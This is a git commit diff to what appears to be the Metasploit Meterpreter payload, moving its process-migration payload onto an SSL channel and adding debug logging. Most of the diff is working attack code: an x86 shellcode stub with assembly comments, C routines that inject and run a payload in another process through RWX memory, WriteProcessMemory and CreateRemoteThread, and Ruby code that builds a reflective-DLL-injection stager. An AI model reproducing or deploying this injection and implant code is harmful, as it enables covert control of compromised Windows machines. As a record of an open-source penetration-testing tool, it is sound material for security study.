Transfer the migration payload over SSL, still working on a crash bug after migration completes

git-svn-id: file:///home/svn/framework3/trunk@6756 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
HD Moore 2009-07-09 03:22:10 +00:00
parent c846f02c79
commit 7b516e06fe
13 changed files with 131 additions and 53 deletions

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -181,6 +181,7 @@ DWORD command_process_remote(Remote *remote, Packet *inPacket)
if ((packet_get_tlv_string(inPacket, TLV_TYPE_METHOD, &methodTlv)
!= ERROR_SUCCESS))
break;
dprintf("Processing method %s", methodTlv.buffer);
// Get the request identifier if the packet has one.
if (packet_get_tlv_string(inPacket, TLV_TYPE_REQUEST_ID,
@ -216,6 +217,7 @@ DWORD command_process_remote(Remote *remote, Packet *inPacket)
res = command_call_dispatch(current, remote, inPacket);
}
dprintf("Calling completion handlers...");
// Finally, call completion routines for the provided identifier
if (((packet_get_type(inPacket) == PACKET_TLV_TYPE_RESPONSE) ||
(packet_get_type(inPacket) == PACKET_TLV_TYPE_PLAIN_RESPONSE)) &&

View File

@ -620,12 +620,15 @@ DWORD remote_request_core_migrate(Remote *remote, Packet *packet)
DWORD threadId;
DWORD result = ERROR_SUCCESS;
DWORD pid;
PUCHAR payload;
DWORD payloadBytesLeft;
DWORD bytesRead;
// Bug fix for Ticket #275: recv the migrate payload into a RWX buffer instead of straight onto the stack (Stephen Fewer).
BYTE stub[] =
"\x8B\x74\x24\x04" // mov esi,[esp+0x4] ; ESI = MigrationStubContext *
"\x89\xE5" // mov ebp,esp ; create stack frame
"\x81\xEC\x00\x10\x00\x00" // sub esp, 0x1000 ; alloc space on stack
"\x81\xEC\x00\x40\x00\x00" // sub esp, 0x4000 ; alloc space on stack
"\x8D\x4E\x20" // lea ecx,[esi+0x20] ; ECX = MigrationStubContext->ws2_32
"\x51" // push ecx ; push "ws2_32"
"\xFF\x16" // call near [esi] ; call loadLibrary
@ -643,21 +646,10 @@ DWORD remote_request_core_migrate(Remote *remote, Packet *packet)
"\x97" // xchg eax,edi ; edi now = our duplicated socket
"\xFF\x76\x1C" // push dword [esi+0x1C] ; push our event
"\xFF\x56\x18" // call near [esi+0x18] ; call setevent
"\x8B\x5E\x08" // mov ebx,[esi+0x8] ; buffer total length
"\x8B\x6E\x04" // mov ebp,[esi+0x4] ; buffer address
"\x55" // push ebp ; save address for return
"\x6A\x00" // push byte +0x0 ; recv flags
"\x53" // push ebx ; remaining length to read
"\x55" // push ebp ; current buffer pointer
"\x57" // push edi ; socket
"\xFF\x56\x14" // call dword near [esi+0x14]; recv
"\x01\xC5" // add ebp,eax ; buffer address += bytes received
"\x29\xC3" // sub ebx,eax ; remaining length -= bytes received
"\x85\xDB" // test ebx,ebx ; test remaining length
"\x75\xF0" // jnz 0x7 ; continue if we have more to read
"\xC3" // ret ; return into the received buffer
"\x90\x90"; // nop; nop;
"\xFF\x76\x04" // push dword [esi+0x04] ; push the address of the payloadBase
"\x59" // pop ecx ; pop the address into a register
"\xFF\xD1"; // call ecx ; call the payload
// Get the process identifier to inject into
pid = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PID);
@ -684,7 +676,7 @@ DWORD remote_request_core_migrate(Remote *remote, Packet *packet)
do
{
// Open the process so that we can duplicate shit into it
// Open the process so that we can into it
if (!(process = OpenProcess(
PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION |
PROCESS_VM_WRITE | PROCESS_CREATE_THREAD, FALSE, pid)))
@ -726,7 +718,7 @@ DWORD remote_request_core_migrate(Remote *remote, Packet *packet)
strcpy(context.ws2_32, "ws2_32");
// Allocate storage for the stub and the context
// Allocate storage for the stub and context
if (!(dataBase = VirtualAllocEx(process, NULL, sizeof(MigrationStubContext) + sizeof(stub), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE)))
{
result = GetLastError();
@ -759,10 +751,47 @@ DWORD remote_request_core_migrate(Remote *remote, Packet *packet)
// successfully migrated and are reaching the point of no return
packet_transmit_response(result, remote, response);
// Receive the actual encoded payload over the SSL socket
if (!(payload = (PUCHAR)malloc(context.payloadLength)))
{
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
break;
}
payloadBytesLeft = context.payloadLength;
// Read the payload
while (payloadBytesLeft > 0)
{
if ((bytesRead = ssl_read(&remote->ssl,
payload + context.payloadLength - payloadBytesLeft,
payloadBytesLeft)) <= 0)
{
if(bytesRead == POLARSSL_ERR_NET_TRY_AGAIN) continue;
if (GetLastError() == WSAEWOULDBLOCK)
continue;
if (!bytesRead)
SetLastError(ERROR_NOT_FOUND);
break;
}
payloadBytesLeft -= bytesRead;
}
// Write this payload into the target process's memory
if (!WriteProcessMemory(process, context.payloadBase, payload, context.payloadLength, NULL))
{
result = GetLastError();
break;
}
response = NULL;
// Create the thread in the remote process
if (!(thread = CreateRemoteThread(process, NULL, 0, (LPTHREAD_START_ROUTINE)codeBase, dataBase, 0, &threadId)))
if (!(thread = CreateRemoteThread(process, NULL, 1024*1024, (LPTHREAD_START_ROUTINE)codeBase, dataBase, 0, &threadId)))
{
result = GetLastError();
break;
@ -775,6 +804,7 @@ DWORD remote_request_core_migrate(Remote *remote, Packet *packet)
result = GetLastError();
break;
}
dprintf("Shutting down the Meterpreter thread...");
// Exit the current process now that we've migrated to another one
ExitThread(0);

View File

@ -26,4 +26,16 @@
#include "scheduler.h"
static void dprintf(char *format, ...) {
va_list args;
char buffer[1024];
va_start(args,format);
vsnprintf(buffer, sizeof(buffer)-3, format,args);
strcat(buffer, "\r\n");
OutputDebugString(buffer);
}
#endif

View File

@ -56,29 +56,35 @@ DWORD __declspec(dllexport) Init(SOCKET fd)
SetHandleInformation(fd, HANDLE_FLAG_INHERIT, 0);
// Initialize SSL on the socket
dprintf("Negotiating SSL...");
negotiate_ssl(remote);
// Register extension dispatch routines
dprintf("Registering dispatch routines...");
register_dispatch_routines();
dprintf("Entering the monitor loop...");
// Keep processing commands
res = monitor_loop(remote);
dprintf("Deregistering dispatch routines...");
// Clean up our dispatch routines
deregister_dispatch_routines();
} while (0);
dprintf("Closing down SSL...");
ssl_close_notify(&remote->ssl);
ssl_free(&remote->ssl);
if (remote)
remote_deallocate(remote);
}
/* Invoke the fatal error handler */
__except(exceptionfilter(GetExceptionCode(), GetExceptionInformation())) {
dprintf("*** exception triggered!");
ExitThread(0);
}
return res;
@ -109,8 +115,11 @@ DWORD negotiate_ssl(Remote *remote)
ssl_set_ciphers( ssl, ssl_default_ciphers );
ssl_set_session( ssl, 1, 60000, ssn );
/* This wakes up the ssl.accept() on the remote side */
dprintf("Sending a HTTP GET request to the remote side...");
/* This wakes up the sock.ssl.accept() on the remote side */
while(ssl_write(ssl, "GET / HTTP/1.0\r\n\r\n", 18) == POLARSSL_ERR_NET_TRY_AGAIN) {}
dprintf("Completed writing the HTTP GET request");
return(0);
}

View File

@ -133,10 +133,11 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
// wont work if we have used Reflective DLL Injection as metsrv.dll will be 'invisible' to these functions.
remote->hMetSrv = hAppInstance;
dprintf("Calling init()...");
// Call the init routine in the library
if( init )
res = init(remote);
dprintf("Called init()...");
}
} while (0);
@ -148,6 +149,7 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
packet_transmit(remote, response, NULL);
}
dprintf("Returning back to cmd handler...");
return res;
}

View File

@ -77,11 +77,27 @@ class Client
self.parser = PacketParser.new
self.ext = ObjectAliases.new
self.ext_aliases = ObjectAliases.new
self.response_timeout = to
# Switch the socket to SSL mode
swap_sock_plain_to_ssl()
# XXX: Determine when to enable SSL here
register_extension_alias('core', ClientCore.new(self))
initialize_inbound_handlers
initialize_channels
# Register the channel inbound packet handler
register_inbound_handler(Rex::Post::Meterpreter::Channel)
monitor_socket
end
def swap_sock_plain_to_ssl
begin
# Create a new SSL session on the existing socket
ssl = OpenSSL::SSL::SSLSocket.new(sock, generate_ssl_context())
ctx = generate_ssl_context()
ssl = OpenSSL::SSL::SSLSocket.new(sock, ctx)
# This won't fire until there is remote data
ssl.accept
@ -96,27 +112,20 @@ class Client
rescue ::Exception => e
$stderr.puts "SSL Error: #{e} #{e.backtrace}"
end
self.response_timeout = to
register_extension_alias('core', ClientCore.new(self))
initialize_inbound_handlers
initialize_channels
# Register the channel inbound packet handler
register_inbound_handler(Rex::Post::Meterpreter::Channel)
monitor_socket
end
def swap_sock_ssl_to_plain
self.sock = self.sock.fd
self.sock.extend(::Rex::Socket::Tcp)
self.sock.sslsock = nil
self.sock.sslctx = nil
end
def generate_ssl_context
key = OpenSSL::PKey::RSA.new(512){ }
key = OpenSSL::PKey::RSA.new(1024){ }
cert = OpenSSL::X509::Certificate.new
cert.version = 2
cert.serial = rand(0xFFFFFFFF)
cert.serial = rand(0xFFFFFFFF)
# name = OpenSSL::X509::Name.new([["C","JP"],["O","TEST"],["CN","localhost"]])
subject = OpenSSL::X509::Name.new([
["C","US"],

View File

@ -167,33 +167,47 @@ class ClientCore < Extension
#
def migrate( pid )
c = Class.new( Msf::Payload )
c.include( Msf::Payload::Stager )
c.include( Msf::Payload::Windows::ReflectiveDllInject )
# Create a new payload stub
c = Class.new( ::Msf::Payload )
c.include( ::Msf::Payload::Stager )
c.include( ::Msf::Payload::Windows::ReflectiveDllInject )
# Create the migrate stager
migrate_stager = c.new()
migrate_stager.datastore['DLL'] = ::File.join( Msf::Config.install_root, "data", "meterpreter", "metsrv.dll" )
payload = migrate_stager.stage_payload
# Send the migration request
request = Packet.create_request( 'core_migrate' )
request.add_tlv( TLV_TYPE_MIGRATE_PID, pid )
request.add_tlv( TLV_TYPE_MIGRATE_LEN, payload.length )
response = client.send_request( request )
# Stop the socket monitor
client.dispatcher_thread.kill if client.dispatcher_thread
# flush the receive buffer just in case
buff = client.sock.get_once(-1, 1)
# Send the payload over SSL
client.sock.write( payload )
client.sock.flush
# Now communicating with the new process
# Renegotiate SSL over this socket
client.swap_sock_ssl_to_plain()
client.swap_sock_plain_to_ssl()
# Restart the socket monitor
client.monitor_socket
# Give the stage some time to transmit
Rex::ThreadSafe.sleep( 5 )
# Load all the extensions that were loaded in the previous instance
client.ext.aliases.keys.each { |e|
client.ext.aliases.keys.each { |e|
$stderr.puts "loading extension #{e}"
client.core.use(e)
}